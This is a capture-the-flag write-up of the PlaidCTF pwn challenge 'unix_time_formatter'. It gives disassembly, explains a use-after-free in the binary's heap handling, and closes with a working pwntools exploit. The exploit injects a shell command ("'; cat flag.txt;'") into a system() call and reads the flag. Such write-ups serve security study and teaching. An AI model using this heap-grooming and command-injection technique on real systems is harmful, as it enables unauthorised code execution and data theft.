PlaidCTF - unix_time_formatter
Last weekend was held the PlaidCTF, as usual with high quality and very demanding challenges to solve. Here is a solution to the first pwn challenge unix_time_formatter
. This entry level pwnabel challenge proposes a use-after-free vulnerability that is used to inject commands in a call to system
Basic Information
From the organizers:
unix_time_formatter
Pwnable (76 pts)
Converting Unix time to a date is hard, so Mary wrote a tool to do so.
Can you you exploit it to get a shell? Running at unix.pwning.xxx:9999
This is a stripped ELF 64-bit binary with stack canaries and NX enabled:
$ file unix_time_formatter
unix_time_formatter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux
2.6.32, BuildID[sha1]=5afd38988c61546c0035e236ce938af6181e85a6, stripped
$ checksec --file unix_time_formatter
RELRO STACK CANARY NX PIE RPATH
Partial RELRO Canary found NX enabled No PIE No RPATH
RUNPATH FILE
No RUNPATH unix_time_formatter
Operation
The binary is a simple user interface to the date
command:
$ ./unix_time_formatter
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
>
The main function is located at 0x400a70
, which prints the above menu and then select the action to do with a simple switch case:
0x00400aea e837020000 call sub.fgets_d26
0x00400aef ffc8 dec eax
0x00400af1 83f804 cmp eax, 4
0x00400af4 77a5 ja 0x400a9b
0x00400af6 ff24c5c01240. jmp qword [rax*8 + 0x4012c0]
As a note, whenever there is a free or allocation done on the heap, the binary checks if the DEBUG
environment variable is set to print debugging information.
Set a time format
The function to set the format does the following:
- calls a function that I named
get_format
- calls a function that I named
check_format
- if everything is OK, it stores the returned value in a global variable that I named here
FORMAT
0x00400e00 53 push rbx
0x00400e01 bf12114000 mov edi, str.Format:
0x00400e06 e869ffffff call get_format
0x00400e0b 4889c7 mov rdi, rax
0x00400e0e 4889c3 mov rbx, rax
0x00400e11 e89ffeffff call check_format
0x00400e16 85c0 test eax, eax
0x00400e18 7514 jne 0x400e2e
0x00400e1a bf1b114000 mov edi, str.Format_contains_invalid_characters.
0x00400e1f e82cfbffff call sym.imp.puts
0x00400e24 4889df mov rdi, rbx
0x00400e27 e852feffff call do_free
0x00400e2c eb11 jmp 0x400e3f
0x00400e2e bf3f114000 mov edi, str.Format_set.
0x00400e33 48891dde1220. mov cs:FORMAT, rbx
0x00400e3a e811fbffff call sym.imp.puts
0x00400e3f 31c0 xor eax, eax
0x00400e41 5b pop rbx
0x00400e42 c3 ret
The check_format
function uses strspn
to calculate the size of the first segment in the format that contains only whitelisted characters. If the size returned by strspn
correspond to the size of the format, the function check_format
returns 1
, otherwise 0
:
0x00400cb6 bedc104000 mov esi, str._aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:___0__
; "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# " @ 0x4010dc
0x00400cbb 4889fb mov rbx, rdi
0x00400cbe b933000000 mov ecx, 0x33
0x00400cc3 4883ec40 sub rsp, 0x40
0x00400cc7 488d7c2405 lea rdi, qword [rsp + 5]
0x00400ccc f3a4 rep movsb byte [rdi], byte ptr [rsi]
0x00400cce 488d742405 lea rsi, qword [rsp + 5]
0x00400cd3 4889df mov rdi, rbx
0x00400cd6 64488b042528. mov rax, qword fs:[0x28]
0x00400cdf 4889442438 mov qword [rsp + 0x38], rax
0x00400ce4 31c0 xor eax, eax
0x00400ce6 e8c5fcffff call sym.imp.strspn
0x00400ceb 4883c9ff or rcx, 0xffffffffffffffff
0x00400cef 4889c2 mov rdx, rax
0x00400cf2 4889df mov rdi, rbx
0x00400cf5 31c0 xor eax, eax
0x00400cf7 f2ae repne scasb al, byte [rdi]
0x00400cf9 4889c8 mov rax, rcx
0x00400cfc 48f7d0 not rax
0x00400cff 48ffc8 dec rax
0x00400d02 4839c2 cmp rdx, rax
0x00400d05 0f94c0 sete al
0x00400d08 488b542438 mov rdx, qword [rsp + 0x38]
0x00400d0d 644833142528. xor rdx, qword fs:[0x28]
0x00400d16 7405 je 0x400d1d
0x00400d18 e853fcffff call sym.imp.__stack_chk_fail
0x00400d1d 4883c440 add rsp, 0x40
0x00400d21 0fb6c0 movzx eax, al
0x00400d24 5b pop rbx
0x00400d25 c3 ret
Set a time zone
The function to set the timezone does the same as the one to set the format, except that is does not use strspn
to validate in the timezone. We might have a possibility to inject bad characters here:
0x00400e43 50 push rax
0x00400e44 bf4b114000 mov edi, str.Time_zone:
0x00400e49 e826ffffff call get_format
0x00400e4e bf57114000 mov edi, str.Time_zone_set.
0x00400e53 488905b61220. mov cs:TZ, rax
0x00400e5a e8f1faffff call sym.imp.puts
0x00400e5f 31c0 xor eax, eax
0x00400e61 5a pop rdx
0x00400e62 c3 ret
Print your time
The functions to print the time does the following:
- Check if a format is set by checking if the global variable
FORMAT
is not null - Set the value pointed by
TZ
in the environment variables withsetenv
- call
system
with"/bin/date -d @%d +'%s'"
(%d
is the time that we could have set and%s
is the format that we have set).
0x00400ea3 4881ec180800. sub rsp, 0x818
0x00400eaa 64488b042528. mov rax, qword fs:[0x28]
0x00400eb3 488984240808. mov qword [rsp + 0x808], rax
0x00400ebb 31c0 xor eax, eax
0x00400ebd 488b05541220. mov rax, qword [rip + 0x201254]
0x00400ec4 4885c0 test rax, rax
0x00400ec7 750f jne 0x400ed8
0x00400ec9 bfa2114000 mov edi, str.You_haven_t_specified_a_format_
0x00400ece e87dfaffff call sym.imp.puts
0x00400ed3 e995000000 jmp 0x400f6d
0x00400ed8 52 push rdx
0x00400ed9 50 push rax
0x00400eda b900080000 mov ecx, 0x800
0x00400edf 448b0d3a1220. mov r9d, dword [rip + 0x20123a]
0x00400ee6 41b8c2114000 mov r8d, str._bin_date__d___d____s_
0x00400eec ba01000000 mov edx, 1
0x00400ef1 488d7c2418 lea rdi, qword [rsp + 0x18]
0x00400ef6 be00080000 mov esi, 0x800
0x00400efb 31c0 xor eax, eax
0x00400efd e82efaffff call sym.imp.__snprintf_chk
0x00400f02 bed9114000 mov esi, str.Your_formatted_time_is:
0x00400f07 bf01000000 mov edi, 1
0x00400f0c 31c0 xor eax, eax
0x00400f0e e81dfbffff call sym.imp.__printf_chk
0x00400f13 488b3dc61120. mov rdi, qword [rip + 0x2011c6]
0x00400f1a e8f1faffff call sym.imp.fflush
0x00400f1f bfbb104000 mov edi, str.DEBUG
0x00400f24 e8f7f9ffff call sym.imp.getenv
0x00400f29 4885c0 test rax, rax
0x00400f2c 59 pop rcx
0x00400f2d 5e pop rsi
0x00400f2e 741d je 0x400f4d
0x00400f30 488b3dc91120. mov rdi, qword [rip + 0x2011c9]
0x00400f37 488d4c2408 lea rcx, qword [rsp + 8]
0x00400f3c baf2114000 mov edx, str.Running_command:__s_n
0x00400f41 be01000000 mov esi, 1
0x00400f46 31c0 xor eax, eax
0x00400f48 e803fbffff call sym.imp.__fprintf_chk
0x00400f4d 488b35bc1120. mov rsi, qword [rip + 0x2011bc]
0x00400f54 bf07124000 mov edi, 0x401207
0x00400f59 ba01000000 mov edx, 1
0x00400f5e e8fdf9ffff call sym.imp.setenv
0x00400f63 488d7c2408 lea rdi, qword [rsp + 8]
0x00400f68 e833faffff call sym.imp.system
0x00400f6d 31c0 xor eax, eax
0x00400f6f 488b94240808. mov rdx, qword [rsp + 0x808]
0x00400f77 644833142528. xor rdx, qword fs:[0x28]
0x00400f80 7405 je 0x400f87
0x00400f82 e8e9f9ffff call sym.imp.__stack_chk_fail
0x00400f87 4881c4180800. add rsp, 0x818
0x00400f8e c3 ret
As the timezone is not executed with system
we can’t inject a second command using a ;
. We need something else!
Exit
The exit function is used to “gracefully” exit the program. The first thing it does, is to free both pointers stored in FORMAT
and TZ
(in that order), and then asks if we are sure to exit the program.
0x00400f8f 4883ec28 sub rsp, 0x28
0x00400f93 488b3d7e1120. mov rdi, qword cs:FORMAT
0x00400f9a 64488b042528. mov rax, qword fs:[0x28]
0x00400fa3 4889442418 mov qword [rsp + 0x18], rax
0x00400fa8 31c0 xor eax, eax
0x00400faa e8cffcffff call do_free
0x00400faf 488b3d5a1120. mov rdi, cs:TZ
0x00400fb6 e8c3fcffff call do_free
0x00400fbb be0a124000 mov esi, str.Are_you_sure_you_want_to_exit__y_N__
0x00400fc0 bf01000000 mov edi, 1
0x00400fc5 31c0 xor eax, eax
0x00400fc7 e864faffff call sym.imp.__printf_chk
0x00400fcc 488b3d0d1120. mov rdi, qword [rip + 0x20110d]
0x00400fd3 e838faffff call sym.imp.fflush
0x00400fd8 488b15111120. mov rdx, qword [rip + 0x201111]
0x00400fdf 488d7c2408 lea rdi, qword [rsp + 8]
0x00400fe4 be10000000 mov esi, 0x10
0x00400fe9 e8f2f9ffff call sym.imp.fgets
0x00400fee 8a542408 mov dl, byte [rsp + 8]
0x00400ff2 31c0 xor eax, eax
0x00400ff4 83e2df and edx, 0xffffffdf
0x00400ff7 80fa59 cmp dl, 0x59
0x00400ffa 750f jne 0x40100b
0x00400ffc bf30124000 mov edi, str.OK__exiting.
0x00401001 e84af9ffff call sym.imp.puts
0x00401006 b801000000 mov eax, 1
0x0040100b 488b4c2418 mov rcx, qword [rsp + 0x18]
0x00401010 6448330c2528. xor rcx, qword fs:[0x28]
0x00401019 7405 je 0x401020
0x0040101b e850f9ffff call sym.imp.__stack_chk_fail
0x00401020 4883c428 add rsp, 0x28
0x00401024 c3 ret
Vulnerability
To be able to execute arbitrary command through the system
call, we need to be able to inject either a ;
or &
in the FORMAT
. To do that we can:
- allocate two strings for the timezone and format that are big enough to avoid being handled by the fastbins (in that order).
- Fake an exit to free both pointers. We will have dangling pointers in
TZ
andFORMAT
. - Set a new timezone.
malloc
will place it where the old timezone was. If the timezone is big enough we will be able to write on thefree
‘d chunk that used to contain the format. In the timezone we can inject a command such asls -la
Payload
At first I tried to execute a shell, but it wasn’t responding therefore I made a first payload to list the content of the current directory and then I modified it to read the content of the file containing the flag:
#!/usr/bin/env python2
# Please port pwntools to python3...
from pwn import *
r = remote('unix.pwning.xxx', 9999)
#r = remote('localhost', 9999)
# socat tcp-l:9999,reuseaddr,fork exec:./unix_time_formatter
def do_send(msg):
print msg
r.sendline(msg)
def do_recv(msg):
print r.recvuntil(msg)
def do_it(r, s):
do_recv(r)
do_send(s)
do_recv('> ')
# Set a timezone
do_send('3')
do_recv(': ')
do_send('A'*256)
do_recv('> ')
# Set a foramt
do_send('1')
do_recv(': ')
do_send('B'*256)
do_recv('> ')
# Exit
do_send('5')
do_recv('? ')
# Nope!
do_send('')
do_recv('> ')
# Set a timezone
do_send('3')
do_recv(': ')
# 256 bytes of padding to reach the beginning of the old format chunk
# 16 bytes to overwrite the chunk's header
# The command injection
do_send(' '*256+' '*16+"%H'; cat flag.txt;'")
do_recv('> ')
# Print the time
do_send('4')
do_recv('> ')
r.interactive()
Once executed:
[snip]
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
>
%H'; cat flag.txt;'
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
>
4
Your formatted time is: 00
PCTF{use_after_free_isnt_so_bad}
sh: 1: : Permission denied
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
>
Always nullify a free
‘d pointer to avoid using it afterwards!